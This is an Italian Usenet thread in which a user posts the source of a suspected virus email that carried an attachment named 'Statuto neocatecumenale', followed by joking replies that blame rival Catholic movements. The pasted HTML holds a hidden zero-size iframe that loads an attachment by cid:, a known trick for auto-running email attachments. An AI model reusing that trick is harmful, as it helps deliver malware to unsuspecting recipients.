Newsgroup: it.cultura.religioni
Titolo: [OT] Virus mirato?


Subject:  Re: aiuto
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----------SW48YSGVDQYHCUR"
To: undisclosed-recipients:;
------------SW48YSGVDQYHCUR
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:1pMiX528TooVI height=3D0 width=3D0>
</iframe>
<FONT></FONT>
  <HTML><br>
<HEAD><br>
  <META http-equiv=3D"Content-Type" content=3D"text/html; =<br>
charset=3Diso-8859-1"><br>
</HEAD><br>
<BODY bgcolor=3D#FFFFFF leftmargin=3D"0" rightmargin=3D"0" =<br>
bottommargin=3D"0" topmargin=3D"0"><BASEFONT face=3D"Arial, Helvetica, =<br>
Sans Serif" size=3D2><br>
<!--WSSTRIPPABLEBEGIN--><br>
<STYLE type=3Dtext/css><br>
<br>
/* Foreground colors */<br>
ThmFgColumnHeader, A.FrameLink, A.HeaderLink, A.FooterLink, A.LgtCmd, =<br>
A.MSNLink {color:#FFFFFF;}<br>
ThmFgTitleLightBk {c
</BODY></HTML>
------------SW48YSGVDQYHCUR--
        Ripeto, sia qui che sulla casella Samuele ecc. Identici. Con
allegato un file che si chiamava Statuto neocatecumenale.
        Chi mi sa dire qualcosa sulla evidenza o meno del dolo? Ilmessaggio
era identico con subject identico sia per questo indirizzo e-mail che per
l'altro mio.
        E grazie a Dio che protegge anche in queste piccole cose contro il
male.
Antonio Casini
--
"qual meraviglia se i cattolici, strenui difensori della Chiesa, son fatti
segno dai modernisti di somma malevolenza e di livore?"
(Papa San Pio X)

 Antonio Casini
Certo, come no: protegge....però l'antivirus non lo togli vero?
Dai retta a me, fai 'sta prova: togli l'antivirus 
e recita una preghierina all'accensione....
...Col cavolo, eh?
Fate ride
pmaktum

 subject aveva "aiuto".
Il colpevole deve essere uno del Rinnovamento.
Infatti il primo pensiero è stato che, ovviamente, non doveva essere stato
un neocatecumenale.
Quale neocatecumenale avrebbe mai potuto farti un dispetto con un indizio
così chiaro contro di lui?
No. Non poteva essere un neocatecumenale.
Poi ho pensato che proprio per l'ovvietà della cosa, poteva ben essere un
neocatecumenale, che ti faceva un dispetto discolpandosi proprio
disseminando evidenti indizi a suo favore.
Ma dimenticavo il fattore decisivo: e cioè il destinatario del dispetto.
Questo destinatario trascende i consueti procedimenti deduttivi, saltandoli
a piè pari, ed è per sua natura propenso a pensare che possa essere solo un
neocatecumenale colui che gli fa un dispetto firmandosi come
neocatecumenale.
Ecco perchè il colpevole deve essere del Rinnovamento.
ciao
max
--------------------------------
Inviato via 
http://usenet.libero.it

Ecco perchè il colpevole deve essere del Rinnovamento.
alludi?
guarda che ti denuncio!!!
pit BUM

 alludi?
mi autoaccuso. Sono nel Rinnovamento anch'io.


noooooooooooooooooooooooooooo!!!!!!!!!!!!
davvero NON ce' piu' religione...
tu di RNS
Sini che posta il Magister su iCC..
ragazzi, qui non ci capiamo piu'.
Io farei un banner:
su ICR solo atei o arrodentrai!
fora di ball ii others(LO STESSO CHE IN INGLESE...)
PIT PAT

 pmaktum


 armaged


 Sini che posta il [Sandro] Magister su ICC..
e ironizza pure sull'espressione 
"apostasia silenziosa"
che compare in un documento vaticano.
http://www.vatican.va/holy_father/john_paul_ii/apost_exhortations/documents/hf_jp-ii_exh_20030628_ecclesia-in-europa_it.html

 ha scritto nel
messaggio news:8msfhvc4g0pqkr23c...@4ax.com...

A questo punto conviene assoldare un avvocato per ICR, potrebbe lavorare
solo per noi e farci prezzi di favore ;)
ciao
Francesca

solo per noi e farci prezzi di favore ;)
propongo:
un nome, una garanzia:
l'avv. Nicotra!
pit bbum